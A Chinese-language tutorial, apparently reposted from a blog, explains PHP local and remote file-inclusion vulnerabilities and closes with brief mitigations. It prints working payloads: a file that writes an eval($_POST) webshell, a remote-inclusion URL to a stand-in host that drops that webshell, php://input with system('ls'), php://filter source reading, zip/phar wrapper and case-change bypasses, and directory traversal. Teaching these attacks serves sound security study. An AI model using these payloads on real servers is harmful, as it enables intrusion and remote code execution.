程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而不需要再次编写,其中文件调用的过程一般称为文件包含。
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。
<?php error_reporting(0); $file = $_GET[‘file‘]; include $file; ?>
include和require基本是相同的,除了错误处理方面:
1,include()在包含的过程中如果出现错误,只会生成警告(E_WARNING),并且脚本继续执行
2,require()在包含的过程中如果出现错误,会生成致命错误(E_COMPILE_ERROR)并停止脚本执行
3,include_once()与require_once(),如果文件已包含,则不会包含,以避免函数重定义,变量重新赋值等问题,其他特征如上
简单的说就是包含本地文件
如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含+文件上传:
上传一个图片木马a.jpg,内容
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>
访问URL:http://www.xxx.com/index.php?page=./a.jpg会在本地生成shell.php
简单的说就是解析远程服务器的文件,但是存在限制
allow_url_fopen=on(默认为on)规定是否允许从远程服务器或者网站检索数据
allow_url_include=on(php5.2之后默认为off)规定是否允许include/require远程文件
1,test.txt文件,可以保存在远程服务器上,内容如下
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[pass]);?>")?>
2,访问URL:http://www.xxx.com/index.php?page=http://www.xxx2.com/test.txt
3,则会把服务器根目录下产生一个shell.php内容为:
<?php eval($_POST[pass]); ?>
注意:包含的文件是PHP代码就直接执行,字符串就原样输出
文件包含函数会被包含的文件内容当作PHP代码去解析,那么我们可以寻找网站上的上传功能,上传带有恶意代码的图片,文件等等,在通过文件包含函数进行包含。
WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,进行构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
将PHP代码插入到日志文件
通过文件包含漏洞来执行日志中的PHP代码
1,找到session内的可控变量
2,session文件可读写,并且知道存储路径
php://input可以获取POST的数据流。当它与包含函数结合时,php://input流会被当作php文件执行。从而导致任意代码执行。
<?php show_source(__FILE__); echo $_GET[‘hello‘]; $page=$_GET[‘page‘]; while (strstr($page, "php://")){ $page=str_replace("php://", "", $page); } include($page); ?>
1,大小写绕过 Php://input
抓包,并且数据包中写入<?php system(‘ls‘);?>查看当前目录下文件
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其执行。从而导致任意文件读取
?file=php://filter/convert.base64-encode/resource=index.php(可以绕过检测机制)
zip://可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行
1,只需要是压缩包即可,后缀名可以任意更改
2,相同类型的还有zlib://和bzip2://
phar://有点类似zip://同样可以导致任意代码执行
phar://中相对路径和绝对路径都可以适用
data://同样类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
其他利用方式
前缀绕过
目录遍历
适用../../来返回上一目录,被称为目录遍历。例如?file=../../phpinfo/phpinfo.php
<?php $file = $_GET[‘file‘]; include "/var/www/html/filename/".$file; ?>
利用URL
完整url格式:protocol://hostname[:port]/path[?query]#fragment
<?php $file = $_GET[‘file‘]; include $file.".txt"; ?>
访问参数:?file=http://localhost:8088/phpinfo.php?
拼接后:?file=http://localhost:8088/phpinfo.php?.txt
利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀名,便可以自己构造
<?php $file = $_GET[‘file‘]; include $file.".txt"; ?>
zip://
访问参数:?file=zip://D:\zip.jpg%23phpinfo
拼接后:?file=zip://D:\zip.jpg#phpinfo.txt
phar://
访问参数:?file=phar://zip.zip/phpinfo
拼接后:?file=phar://zip.zip/phpinfo.txt
1,allow_url_include和allow_url_fopen最小权限化
2,设置open_basedir(open_basedir 将php所能打开的文件限制在指定目录树中)
3,白名单限制包含文件,或者严格过滤 . / \
原文:https://www.cnblogs.com/Self-motivate/p/12892190.html